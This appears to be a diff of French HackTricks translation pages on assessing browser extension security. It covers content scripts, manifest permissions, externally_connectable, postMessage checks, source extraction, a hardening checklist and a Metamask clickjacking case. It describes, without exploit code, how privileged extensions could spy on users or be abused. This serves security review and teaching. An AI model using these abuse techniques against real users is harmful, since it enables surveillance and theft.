Selon le navigateur, les capacités du script de contenu peuvent varier légèrement. Pour les navigateurs basés sur Chromium, la liste des capacités est disponible dans la [documentation des développeurs Chrome](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities), et pour Firefox, le [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) sert de source principale.\
|
||||
Il est également à noter que les scripts de contenu ont la capacité de communiquer avec les scripts d'arrière-plan, leur permettant d'effectuer des actions et de renvoyer des réponses.
|
||||
Selon le navigateur, les capacités du script de contenu peuvent varier légèrement. Pour les navigateurs basés sur Chromium, la liste des capacités est disponible dans la documentation des [développeurs Chrome](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities), et pour Firefox, le [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) sert de source principale.\
|
||||
Il est également à noter que les scripts de contenu ont la capacité de communiquer avec les scripts d'arrière-plan, leur permettant d'effectuer des actions et de transmettre des réponses.
|
||||
{% endhint %}
|
||||
|
||||
Pour visualiser et déboguer les scripts de contenu dans Chrome, le menu des outils de développement Chrome peut être accédé depuis Options > Autres outils > Outils de développement OU en appuyant sur Ctrl + Maj + I.
|
||||
|
||||
Une fois les outils de développement affichés, l'onglet **Source** doit être cliqué, suivi de l'onglet **Scripts de contenu**. Cela permet d'observer l'exécution des scripts de contenu de diverses extensions et de définir des points d'arrêt pour suivre le flux d'exécution.
|
||||
Une fois les outils de développement affichés, l'onglet **Source** doit être cliqué, suivi de l'onglet **Scripts de contenu**. Cela permet d'observer l'exécution des scripts de contenu en cours à partir de diverses extensions et de définir des points d'arrêt pour suivre le flux d'exécution.
|
||||
|
||||
### Scripts de contenu injectés
|
||||
|
||||
{% hint style="success" %}
|
||||
Notez que les **Scripts de contenu ne sont pas obligatoires** car il est également possible d'**injecter dynamiquement** des scripts et de les **injecter de manière programmatique** dans les pages web via **`tabs.executeScript`**. Cela offre en fait un contrôle plus **granulaire**.
|
||||
Notez que les **Scripts de contenu ne sont pas obligatoires** car il est également possible de **injecter dynamiquement** des scripts et de les **injecter de manière programmatique** dans les pages web via **`tabs.executeScript`**. Cela offre en fait un contrôle plus **granulaire**.
|
||||
{% endhint %}
|
||||
|
||||
Pour l'injection programmatique d'un script de contenu, l'extension doit avoir les [permissions d'hôte](https://developer.chrome.com/docs/extensions/reference/permissions) pour la page dans laquelle les scripts doivent être injectés. Ces permissions peuvent être sécurisées soit en les **demandant** dans le manifeste de l'extension, soit de manière temporaire via [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab).
|
||||
Pour l'injection programmatique d'un script de contenu, l'extension doit avoir les [permissions d'hôte](https://developer.chrome.com/docs/extensions/reference/permissions) pour la page dans laquelle les scripts doivent être injectés. Ces autorisations peuvent être sécurisées soit en les **demandant** dans le manifeste de l'extension, soit de manière temporaire via [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab).
|
||||
|
||||
#### Exemple d'extension basée sur activeTab
|
||||
|
||||
|
@ -195,7 +195,7 @@ js : [ "contentScript.js" ],
|
|||
// Another example
|
||||
chrome.tabs.executeScript(tabId, { file: "content_script.js" });
|
||||
```
|
||||
Pour inclure ou exclure plus d'URL, il est également possible d'utiliser **`include_globs`** et **`exclude_globs`**.
|
||||
Pour inclure ou exclure davantage d'URL, il est également possible d'utiliser **`include_globs`** et **`exclude_globs`**.
|
||||
|
||||
### Scripts de contenu `run_at`
|
||||
|
||||
|
@ -205,7 +205,7 @@ Les valeurs possibles sont :
|
|||
|
||||
* **`document_idle`** : Chaque fois que possible
|
||||
* **`document_start`** : Après tout fichier `css`, mais avant que tout autre DOM ne soit construit ou que tout autre script ne soit exécuté.
|
||||
* **`document_end`** : Immédiatement après que le DOM est complet, mais avant que des sous-ressources comme les images et les cadres ne soient chargées.
|
||||
* **`document_end`** : Immédiatement après la fin de la construction du DOM, mais avant le chargement de sous-ressources telles que les images et les cadres.
|
||||
|
||||
#### Via `manifest.json`
|
||||
```json
|
||||
|
@ -268,7 +268,7 @@ Les extensions de navigateur peuvent contenir différents types de pages :
|
|||
|
||||
* Les **pages d'action** s'affichent dans un **menu déroulant lorsque l'icône de l'extension est cliquée**.
|
||||
* Les pages que l'extension **chargera dans un nouvel onglet**.
|
||||
* **Pages d'options** : Cette page s'affiche en haut de l'extension lorsqu'elle est cliquée. Dans le manifeste précédent, j'ai pu accéder à cette page via `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` ou en cliquant sur :
|
||||
* **Pages d'options** : Cette page s'affiche en haut de l'extension lorsqu'elle est cliquée. Dans le manifest précédent, j'ai pu accéder à cette page via `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` ou en cliquant sur :
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (8).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -281,7 +281,7 @@ Notez que ces pages ne sont pas persistantes comme les pages d'arrière-plan car
|
|||
|
||||
**`permissions`** et **`host_permissions`** sont des entrées du `manifest.json` qui indiqueront **quelles autorisations** les extensions de navigateur possèdent (stockage, localisation...) et dans **quelles pages web**.
|
||||
|
||||
Comme les extensions de navigateur peuvent être si **privilégiées**, une malveillante ou compromise pourrait permettre à l'attaquant **différents moyens de voler des informations sensibles et d'espionner l'utilisateur**.
|
||||
Comme les extensions de navigateur peuvent être si **privilégiées**, une extension malveillante ou compromise pourrait permettre à l'attaquant **différents moyens de voler des informations sensibles et d'espionner l'utilisateur**.
|
||||
|
||||
Découvrez comment ces paramètres fonctionnent et comment ils pourraient être abusés dans :
|
||||
|
||||
|
@ -305,7 +305,7 @@ Pour plus d'informations sur CSP et les éventuelles contournements, consultez :
|
|||
|
||||
### `web_accessible_resources`
|
||||
|
||||
pour qu'une page web puisse accéder à une page d'une extension de navigateur, une page `.html`, par exemple, cette page doit être mentionnée dans le champ **`web_accessible_resources`** du `manifest.json`.\
|
||||
pour qu'une page web puisse accéder à une page d'une extension de navigateur, une page `.html` par exemple, cette page doit être mentionnée dans le champ **`web_accessible_resources`** du `manifest.json`.\
|
||||
Par exemple :
|
||||
```javascript
|
||||
{
|
||||
|
@ -357,19 +357,19 @@ Selon la [**documentation**](https://developer.chrome.com/docs/extensions/refere
|
|||
```
|
||||
* Si elle est spécifiée comme vide : **`"externally_connectable": {}`**, aucune application ou site web ne pourra se connecter.
|
||||
|
||||
Moins d'extensions et d'URL indiqués ici, plus petite sera la surface d'attaque.
|
||||
Moins d'extensions et d'URLs indiqués ici, plus petite sera la surface d'attaque.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Si une page web vulnérable aux attaques XSS ou à la prise de contrôle est indiquée dans **`externally_connectable`**, un attaquant pourra envoyer des messages directement au script arrière-plan, contournant complètement le Content Script et sa CSP.
|
||||
|
||||
Il s'agit donc d'une échappatoire très puissante.
|
||||
Il s'agit donc d'une **bypass très puissant**.
|
||||
{% endhint %}
|
||||
|
||||
## Communication Web **↔︎** Content Script
|
||||
## Communication entre le Web **↔︎** le Content Script
|
||||
|
||||
Les environnements dans lesquels les **scripts de contenu** opèrent et où les pages hôtes existent sont **séparés** les uns des autres, assurant une **isolation**. Malgré cette isolation, les deux ont la capacité d'interagir avec le **Modèle d'Objet de Document (DOM)** de la page, une ressource partagée. Pour que la page hôte puisse communiquer avec le **script de contenu**, ou indirectement avec l'extension via le script de contenu, il est nécessaire d'utiliser le **DOM** accessible par les deux parties comme canal de communication.
|
||||
|
||||
### Messages Postés
|
||||
### Envoi de Messages
|
||||
|
||||
{% code title="content-script.js" %}
|
||||
```javascript
|
||||
|
@ -406,7 +406,7 @@ Une communication sécurisée par Post Message devrait vérifier l'authenticité
|
|||
- Si une expression régulière est utilisée, soyez très prudent.
|
||||
- **Source** : `received_message.source !== window` peut être utilisé pour vérifier si le message provient de **la même fenêtre** où le script de contenu écoute.
|
||||
|
||||
Les vérifications précédentes, même si elles sont effectuées, pourraient être vulnérables, donc vérifiez dans la page suivante les **bypass potentiels de Post Message** :
|
||||
Les vérifications précédentes, même si elles sont effectuées, pourraient être vulnérables, donc vérifiez sur la page suivante les **bypass potentiels de Post Message** :
|
||||
|
||||
{% content-ref url="../postmessage-vulnerabilities/" %}
|
||||
[postmessage-vulnerabilities](../postmessage-vulnerabilities/)
|
||||
|
@ -422,7 +422,7 @@ Une autre façon possible de communication pourrait être à travers les **URLs
|
|||
|
||||
### DOM
|
||||
|
||||
Ce n'est pas "exactement" un moyen de communication, mais le **web et le script de contenu auront accès au DOM web**. Ainsi, si le **script de contenu** lit des informations à partir de celui-ci, **en faisant confiance au DOM web**, le web pourrait **modifier ces données** (car le web ne devrait pas être digne de confiance, ou parce que le web est vulnérable aux XSS) et **compromettre le script de contenu**.
|
||||
Ce n'est pas "exactement" un moyen de communication, mais le **web et le script de contenu auront accès au DOM web**. Donc, si le **script de contenu** lit des informations à partir de celui-ci, **faisant confiance au DOM web**, le web pourrait **modifier ces données** (car le web ne devrait pas être digne de confiance, ou parce que le web est vulnérable aux XSS) et **compromettre le script de contenu**.
|
||||
|
||||
Vous pouvez également trouver un exemple de **XSS basé sur le DOM pour compromettre une extension de navigateur** dans :
|
||||
|
||||
|
@ -511,7 +511,7 @@ unzip -d "$extension_id-source" "$extension_id.zip"
|
|||
|
||||
### Utiliser l'extension CRX Viewer
|
||||
|
||||
Une autre méthode pratique consiste à utiliser Chrome Extension Source Viewer, qui est un projet open source. Il peut être installé depuis le [Chrome Web Store](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en). Le code source du visualiseur est disponible dans son [dépôt GitHub](https://github.com/Rob--W/crxviewer).
|
||||
Une autre méthode pratique consiste à utiliser Chrome Extension Source Viewer, qui est un projet open-source. Il peut être installé depuis le [Chrome Web Store](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en). Le code source du visualiseur est disponible dans son [dépôt GitHub](https://github.com/Rob--W/crxviewer).
|
||||
|
||||
### Voir le code source de l'extension installée localement
|
||||
|
||||
|
@ -521,17 +521,19 @@ Les extensions Chrome installées localement peuvent également être inspectée
|
|||
2. Naviguez jusqu'au sous-dossier `Extensions/` dans le répertoire du profil.
|
||||
3. Ce dossier contient toutes les extensions installées, généralement avec leur code source dans un format lisible.
|
||||
|
||||
Pour identifier les extensions, vous pouvez faire correspondre leurs IDs à leurs noms :
|
||||
Pour identifier les extensions, vous pouvez faire correspondre leurs ID à leurs noms :
|
||||
|
||||
- Activez le mode développeur sur la page `about:extensions` pour voir les IDs de chaque extension.
|
||||
- Activez le mode développeur sur la page `about:extensions` pour voir les ID de chaque extension.
|
||||
- À l'intérieur du dossier de chaque extension, le fichier `manifest.json` contient un champ `name` lisible, vous aidant à identifier l'extension.
|
||||
|
||||
### Utiliser un archiveur de fichiers ou un décompresseur
|
||||
|
||||
Allez sur le Chrome Web Store et téléchargez l'extension. Le fichier aura une extension `.crx`.
|
||||
Changez l'extension du fichier de `.crx` à `.zip`.
|
||||
Utilisez n'importe quel archiveur de fichiers (comme WinRAR, 7-Zip, etc.) pour extraire le contenu du fichier ZIP.
|
||||
|
||||
### Utiliser le mode développeur dans Chrome
|
||||
|
||||
Ouvrez Chrome et allez à `chrome://extensions/`.
|
||||
Activez le "Mode développeur" en haut à droite.
|
||||
Cliquez sur "Charger l'extension non empaquetée...".
|
||||
|
@ -546,15 +548,15 @@ Bien que les extensions de navigateur aient une **surface d'attaque limitée**,
|
|||
* [ ] **Limitez** autant que possible les **`host_permissions`**
|
||||
* [ ] Utilisez une **`content_security_policy`** **forte**
|
||||
* [ ] **Limitez** autant que possible les **`externally_connectable`**, s'il n'est pas nécessaire et possible, ne le laissez pas par défaut, spécifiez **`{}`**
|
||||
* [ ] Si une **URL vulnérable aux XSS ou à la prise de contrôle** est mentionnée ici, un attaquant pourra **envoyer des messages directement aux scripts d'arrière-plan**. Une faille de contournement très puissante.
|
||||
* [ ] Si une **URL vulnérable aux attaques XSS ou à la prise de contrôle** est mentionnée ici, un attaquant pourra **envoyer des messages directement aux scripts d'arrière-plan**. Une faille très puissante.
|
||||
* [ ] **Limitez** autant que possible les **`web_accessible_resources`**, même vide si possible.
|
||||
* [ ] Si **`web_accessible_resources`** n'est pas vide, vérifiez le [**ClickJacking**](browext-clickjacking.md)
|
||||
* [ ] Si une **communication** se produit de l'**extension** à la **page web**, [**vérifiez les vulnérabilités XSS**](browext-xss-example.md) causées par la communication.
|
||||
* [ ] Si des messages Post sont utilisés, vérifiez les [**vulnérabilités des messages Post**](../postmessage-vulnerabilities/)**.**
|
||||
* [ ] Si des messages Post sont utilisés, vérifiez les [**vulnérabilités des messages Post**](../postmessage-vulnerabilities/).
|
||||
* [ ] Si le **Script de contenu accède aux détails du DOM**, vérifiez qu'ils n'introduisent pas de XSS s'ils sont **modifiés** par le web
|
||||
* [ ] Mettez l'accent particulièrement si cette communication est également impliquée dans la **communication Script de contenu -> Script d'arrière-plan**
|
||||
* **Les informations sensibles ne doivent pas être stockées** dans le code de l'extension de navigateur
|
||||
* **Les informations sensibles ne doivent pas être stockées** dans la mémoire de l'extension de navigateur
|
||||
* [ ] Les **informations sensibles ne doivent pas être stockées** dans le code de l'extension de navigateur
|
||||
* [ ] Les **informations sensibles ne doivent pas être stockées** dans la mémoire de l'extension de navigateur
|
||||
|
||||
## Outils
|
||||
|
||||
|
@ -562,7 +564,7 @@ Bien que les extensions de navigateur aient une **surface d'attaque limitée**,
|
|||
|
||||
* Récupère n'importe quelle extension Chrome à partir d'un lien fourni par le Chrome Web Store.
|
||||
* **Visionneur de manifest.json** : affiche simplement une version JSON mise en forme du manifeste de l'extension.
|
||||
* **Analyse d'empreinte digitale** : Détection des [web\_accessible\_resources](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) et génération automatique de JavaScript d'empreinte digitale d'extension Chrome.
|
||||
* **Analyse d'empreinte digitale** : Détection des [web\_accessible\_resources](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) et génération automatique de JavaScript de fingerprinting d'extension Chrome.
|
||||
* **Analyse potentielle de Clickjacking** : Détection des pages HTML d'extension avec la directive [web\_accessible\_resources](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) définie. Elles sont potentiellement vulnérables au clickjacking en fonction de l'objectif des pages.
|
||||
* **Visionneur d'avertissement(s) de permission** : qui affiche une liste de tous les avertissements de permission Chrome qui s'afficheront lorsqu'un utilisateur tentera d'installer l'extension.
|
||||
* **Fonction(s) dangereuse(s)** : montre l'emplacement des fonctions dangereuses qui pourraient potentiellement être exploitées par un attaquant (par exemple, des fonctions telles que innerHTML, chrome.tabs.executeScript).
|
||||
|
@ -574,7 +576,7 @@ Bien que les extensions de navigateur aient une **surface d'attaque limitée**,
|
|||
* Le chemin du fichier alerté.
|
||||
* L'URI complet de l'extension Chrome du fichier alerté.
|
||||
* Le type de fichier, tel qu'un script de page d'arrière-plan, un script de contenu, une action de navigateur, etc.
|
||||
* Si la ligne vulnérable est dans un fichier JavaScript, les chemins de toutes les pages où il est inclus ainsi que le statut de [web\_accessible\_resource](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) de ces pages.
|
||||
* Si la ligne vulnérable est dans un fichier JavaScript, les chemins de toutes les pages où elle est incluse ainsi que le statut de [web\_accessible\_resource](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) de ces pages.
|
||||
* **Analyseur de stratégie de sécurité du contenu (CSP) et vérificateur de contournement** : Cela mettra en évidence les faiblesses de la CSP de votre extension et illuminera également les éventuelles façons de contourner votre CSP en raison des CDN autorisés, etc.
|
||||
* **Bibliothèques vulnérables connues** : Cela utilise [Retire.js](https://retirejs.github.io/retire.js/) pour vérifier toute utilisation de bibliothèques JavaScript connues comme vulnérables.
|
||||
* Télécharger l'extension et les versions formatées.
|
||||
|
@ -609,7 +611,7 @@ Autres façons de soutenir HackTricks :
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez** 💬 le **groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Rejoignez** 💬 le groupe Discord](https://discord.gg/hRep4RUj7f) ou le [groupe Telegram](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -8,8 +8,8 @@ Autres façons de soutenir HackTricks :
|
|||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
@ -95,7 +95,7 @@ Un [**article de blog sur une attaque par ClickJacking dans Metamask peut être
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (5).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Un autre ClickJacking corrigé** dans l'extension Metamask était que les utilisateurs pouvaient **Cliquer pour autoriser** lorsqu'une page était suspectée d'être une tentative de phishing en raison de `“web_accessible_resources”: [“inpage.js”, “phishing.html”]`. Comme cette page était vulnérable au Clickjacking, un attaquant pouvait en abuser en affichant quelque chose de normal pour inciter la victime à cliquer pour l'autoriser sans s'en rendre compte, puis revenir à la page de phishing qui serait autorisée.
|
||||
**Un autre ClickJacking corrigé** dans l'extension Metamask était que les utilisateurs pouvaient **Cliquer pour autoriser** lorsqu'une page était suspectée d'être une tentative de phishing en raison de `“web_accessible_resources”: [“inpage.js”, “phishing.html”]`. Comme cette page était vulnérable au Clickjacking, un attaquant pouvait en abuser en montrant quelque chose de normal pour inciter la victime à cliquer pour l'autoriser sans s'en rendre compte, puis revenir à la page de phishing qui serait autorisée.
|
||||
|
||||
## Exemple Steam Inventory Helper
|
||||
|
||||
|
@ -118,8 +118,8 @@ Autres façons de soutenir HackTricks :
|
|||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,15 +1,15 @@
|
|||
# BrowExt - autorisations & host_permissions
|
||||
# BrowExt - autorisations et host_permissions
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
@ -18,11 +18,11 @@ Autres façons de soutenir HackTricks:
|
|||
|
||||
### **`permissions`**
|
||||
|
||||
Les autorisations sont définies dans le fichier **`manifest.json`** de l'extension en utilisant la propriété **`permissions`** et permettent d'accéder à presque tout ce à quoi un navigateur peut accéder (Cookies ou Stockage Physique) :
|
||||
Les autorisations sont définies dans le fichier **`manifest.json`** de l'extension en utilisant la propriété **`permissions`** et permettent d'accéder à presque tout ce à quoi un navigateur peut accéder (cookies ou stockage physique) :
|
||||
|
||||
Le manifeste précédent déclare que l'extension nécessite l'autorisation `storage`. Cela signifie qu'elle peut utiliser [l'API de stockage](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) pour stocker ses données de manière persistante. Contrairement aux cookies ou aux API `localStorage` qui donnent aux utilisateurs un certain niveau de contrôle, **le stockage de l'extension ne peut normalement être effacé que en désinstallant l'extension**.
|
||||
Le manifeste précédent déclare que l'extension nécessite l'autorisation `storage`. Cela signifie qu'elle peut utiliser [l'API de stockage](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) pour stocker ses données de manière persistante. Contrairement aux cookies ou aux API `localStorage` qui donnent aux utilisateurs un certain niveau de contrôle, **le stockage de l'extension ne peut normalement être effacé que par la désinstallation de l'extension**.
|
||||
|
||||
Une extension demandera les autorisations indiquées dans son fichier **`manifest.json`** et Après l'installation de l'extension, vous pouvez **toujours vérifier ses autorisations dans votre navigateur**, comme le montre cette image :
|
||||
Une extension demandera les autorisations indiquées dans son fichier **`manifest.json`** et après l'installation de l'extension, vous pouvez **toujours vérifier ses autorisations dans votre navigateur**, comme le montre cette image :
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -32,7 +32,7 @@ Vous pouvez trouver la [**liste complète des autorisations qu'une extension de
|
|||
|
||||
Le paramètre facultatif mais puissant **`host_permissions`** indique avec quels hôtes l'extension va pouvoir interagir via des APIs telles que [`cookies`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/cookies), [`webRequest`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/webRequest) et [`tabs`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs).
|
||||
|
||||
Les `host_permissions` suivants permettent essentiellement à chaque site web :
|
||||
Les `host_permissions` suivants permettent essentiellement à tous les sites web :
|
||||
```json
|
||||
"host_permissions": [
|
||||
"*://*/*"
|
||||
|
@ -55,7 +55,7 @@ Voici les hôtes auxquels l'extension du navigateur peut accéder librement. Cel
|
|||
|
||||
### Onglets
|
||||
|
||||
De plus, les **`host_permissions`** débloquent également les fonctionnalités avancées de l'API des [**onglets**](https://developer.mozilla.org/fr/docs/Mozilla/Add-ons/WebExtensions/API/tabs). Elles permettent à l'extension d'appeler [tabs.query()](https://developer.mozilla.org/fr/docs/Mozilla/Add-ons/WebExtensions/API/tabs/query) et non seulement d'obtenir une **liste des onglets du navigateur de l'utilisateur**, mais aussi de savoir quelle **page web (c'est-à-dire l'adresse et le titre) est chargée**.
|
||||
De plus, les **`host_permissions`** débloquent également les fonctionnalités avancées de l'API des [**onglets**](https://developer.mozilla.org/fr/docs/Mozilla/Add-ons/WebExtensions/API/tabs). Ils permettent à l'extension d'appeler [tabs.query()](https://developer.mozilla.org/fr/docs/Mozilla/Add-ons/WebExtensions/API/tabs/query) et non seulement d'obtenir une **liste des onglets du navigateur de l'utilisateur**, mais aussi de savoir quelle **page web (c'est-à-dire l'adresse et le titre) est chargée**.
|
||||
|
||||
{% hint style="danger" %}
|
||||
De plus, des écouteurs comme [**tabs.onUpdated**](https://developer.mozilla.org/fr/docs/Mozilla/Add-ons/WebExtensions/API/tabs/onUpdated) **deviennent également beaucoup plus utiles**. Ils seront notifiés chaque fois qu'une nouvelle page se charge dans un onglet.
|
||||
|
@ -78,7 +78,7 @@ Certains privilèges d'extension **n'ont pas besoin d'être explicitement décla
|
|||
Cela semble trop inoffensif ? L'API [tabs.create()](https://developer.mozilla.org/fr/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create) l'est un peu moins. Elle peut être utilisée pour **créer un nouvel onglet**, essentiellement la même chose que [window.open()](https://developer.mozilla.org/fr/docs/Web/API/Window/open) qui peut être appelé par n'importe quel site web. Cependant, alors que `window.open()` est soumis au **bloqueur de pop-up, `tabs.create()` ne l'est pas**.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Une extension peut créer autant d'onglets qu'elle le souhaite, quand elle le souhaite.
|
||||
Une extension peut créer autant d'onglets qu'elle le souhaite, à tout moment.
|
||||
{% endhint %}
|
||||
|
||||
Si vous examinez les paramètres possibles de `tabs.create()`, vous remarquerez également que ses capacités vont bien au-delà de ce que `window.open()` est autorisé à contrôler. Et bien que Firefox n'autorise pas l'utilisation d'URI `data:` avec cette API, Chrome n'a pas cette protection. **L'utilisation de ces URI au niveau supérieur a été** [**interdite en raison de leur utilisation abusive pour le phishing**](https://bugzilla.mozilla.org/show_bug.cgi?id=1331351)**.**
|
||||
|
@ -87,17 +87,17 @@ Si vous examinez les paramètres possibles de `tabs.create()`, vous remarquerez
|
|||
|
||||
### Webcam, géolocalisation et compagnie <a href="#webcam-geolocation-and-friends" id="webcam-geolocation-and-friends"></a>
|
||||
|
||||
Vous savez probablement que les sites web peuvent demander des autorisations spéciales, par exemple pour accéder à votre webcam (outils de visioconférence) ou à votre emplacement géographique (cartes). Il s'agit de fonctionnalités avec un potentiel d'abus considérable, donc les utilisateurs doivent confirmer à chaque fois qu'ils le souhaitent.
|
||||
Vous savez probablement que les sites web peuvent demander des autorisations spéciales, par exemple pour accéder à votre webcam (outils de visioconférence) ou à votre emplacement géographique (cartes). Il s'agit de fonctionnalités avec un potentiel considérable d'abus, donc les utilisateurs doivent confirmer à chaque fois qu'ils le souhaitent.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Ce n'est pas le cas avec les extensions de navigateur. **Si une extension de navigateur** [**veut accéder à votre webcam ou microphone**](https://developer.mozilla.org/fr/docs/Web/API/MediaDevices/getUserMedia)**, elle n'a besoin de demander la permission qu'une seule fois**
|
||||
{% endhint %}
|
||||
|
||||
Généralement, une extension le fera immédiatement après son installation. Une fois cette demande acceptée, **l'accès à la webcam est possible à tout moment**, même si l'utilisateur n'interagit pas avec l'extension à ce moment-là. Oui, un utilisateur n'acceptera cette demande que si l'extension a vraiment besoin d'accéder à la webcam. Mais après cela, il doit faire confiance à l'extension pour ne pas enregistrer secrètement quoi que ce soit.
|
||||
